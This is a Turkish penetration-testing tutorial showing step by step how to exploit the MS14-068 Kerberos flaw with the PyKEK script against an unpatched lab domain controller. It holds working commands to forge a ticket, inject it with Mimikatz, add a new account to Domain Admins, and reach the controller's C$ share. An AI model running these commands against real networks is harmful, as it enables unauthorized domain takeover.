MS14-068 Kerberos Güvenlik Açıklığı ile Hak Yükseltme Zafiyetinin PyKEK Betiği İle İstismarı

0
753
views
Microsoft tarafından “Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780)” adlı güvenlik bülteni 18 Kasım 2014 tarihinde yayınlanmıştı. Bu yazıda, MS14-068 hak yükseltme zafiyetinin PyKEK betiği ile istismarı incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

MS14-068 zafiyetinin istismarı için KB3011780 paketi yüklü olmayan Windows Server 2008 R2 bir etki alanı denetleyicisi (DC) kullanılmıştır. Belirtilen zafiyetin istismarı sonucunda Levent.Altay adlı etki alanı hesabı Domain Admins yetkisine sahip olacaktır. Bu hesap aşağıdaki gibidir:

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-01

Zafiyete ait kaynak kodu bağlantıdaki Github bağlantısından [3] indirilebilir.

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-02

İndirilen zip dosyası çıkartılır.

ls
unzip pykek-master.zip

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-03

Öncelikle DC’nin adının çözümlenmesi için, Kali’ye DC’nin (DNS’in) IP değeri girilir.

echo nameserver 192.168.4.48 >> /etc/resolv.conf
cat /etc/resolv.conf

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-04

Python koduna elde edilen bir etki alanı kullanıcısının adı, bu hesabın SID değeri, DC’nin host adı (FQDN ile) ve bu etki alanı kullanıcısının parolası verilir. Daha sonra da oluşan servis biletine ait dosya, herhangi bir yere taşınır ve Windows bilgisayara yollanır.

ls -la
python ms14-068.py -u Levent.Altay@ornek.local -s S-1-5-21-2894599646-2825042678-4174893972-1115 -d DCmakinesi.ornek.local -p La123456

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-05

Not: Bazı ortamlarda etki alanı hesabının parolası değil, NTLM parola özeti elde edilmiş de olabilir. Bu gibi durumalarda “-p PAROLA-DEGERI” ifadesi yerine “–rc4 NTLM-OZET-DEGERI” olarak da kullanılabilir.

 

İpucu: Kullanıcı hesabının SID değerini öğrenmek için Sysinternals PSGetSid aracı, Windows’un whoami komutu veya wmic aracı kullanılabilir:

wmic useraccount where Name=”Levent.Altay” get sid, name
whoami /all

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-06

Windows bilgisayarda yeni bir bilet oluşturulacaktır. Eski biletler ile karışmaması için tüm biletler klist aracıyla temizlenir:

klist
klist purge
klist

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-07

Yerel yönetici hakkına sahip olunan bir bilgisayarda, Mimikatz aracıyla eldeki bilet ile yeni bir Kerberos bileti oluşturulur:

mimikatz.exe “kerberos::ptc TGT_Levent.Altay@ornek.local.ccache” exit
klist

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-08

Windows bilgisayarın belleğindeki bilet ile Domain Admin yetkilerine sahip olunmuştur:

net user /domain
net user Hacked Hh123456 /add /domain
net group “Domain Admins” Hacked /add /domain
net group “Domain Admins” /domain

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-09

Not: Servis bileti oluşturulurken kullanılan Levent.Altay hesabının parolasının değişmesi biletin işlevselliğini değiştirmez, bu dosya kullanılmaya devam edilebilir. Benzer olarak, bu dosya başka bir etki alanı hesabı (Jale) ile de kullanılabilir. Ancak biletin geçerlilik süresi dolarsa bu bilet artık kullanılamaz.

klist purge
mimikatz.exe “kerberos:ptc TGT_Levent.Altay@ornek.local.ccache” exit

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-10

Not: Yerel yönetici haklarına sahip olunmadan ve Windows bir bilgisayar kullanılmadan da etki alanı denetleyicisinin (DCmakinesi) disk sistemine erişim sağlanabilir. Bunun için aşağıdaki adımlar izlenebilir:

  • Levent.Altay’ın kimlik bilgileriyle bir bilet oluşturulur (kinit Levent.Altay@ornek.local). Bu bilet otomatik olarak /tmp/ altına kaydolur.
  • Oluşan bilet kullanılarak rpcclient aracıyla DCmakinesi’nin paylaşımlarına bağlantı kurulur (rpcclient DCmakinesi@ornek.local -W Ornek -U Levent.Altay) ve Levent.Altay hesabının SID değeri elde edilir (lookupnames Levent.Altay).
  • Pykek betiğiyle yeni bir bilet oluşturulur (./ms14-068.py -u Levent.Altay@ornek.local -s S-1-5-21-2894599646-2825042678-4174893972-1115 -d DCmakinesi.ornek.local -p La123456).
  • Yeni oluşan bilet /tmp/ altındaki biletle değiştirilir (mv TGT_Levent.Altay@ornek.local.ccache /tmp/krb5cc_0).
  • Böylece DCmakinesinin disk sistemine tam yetki ile bağlanılabilir (smbclient -W ornek.local -k //DCmakinesi.ornek.local/c$).

 

Kaynaklar:

[1] https://www.siberportal.org/blue-team/securing-microsoft-domain-environment/analysis-vulnerability-in-kerberos-could-allow-elevation-of-privilege-ms14-068/
[2] http://adsecurity.org/?p=676
[3] https://github.com/bidord/pykek
https://www.exploit-db.com/exploits/35474/
https://github.com/gentilkiwi/kekeo/wiki/ms14068
https://labs.mwrinfosecurity.com/blog/digging-into-ms14-068-exploitation-and-defence/

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.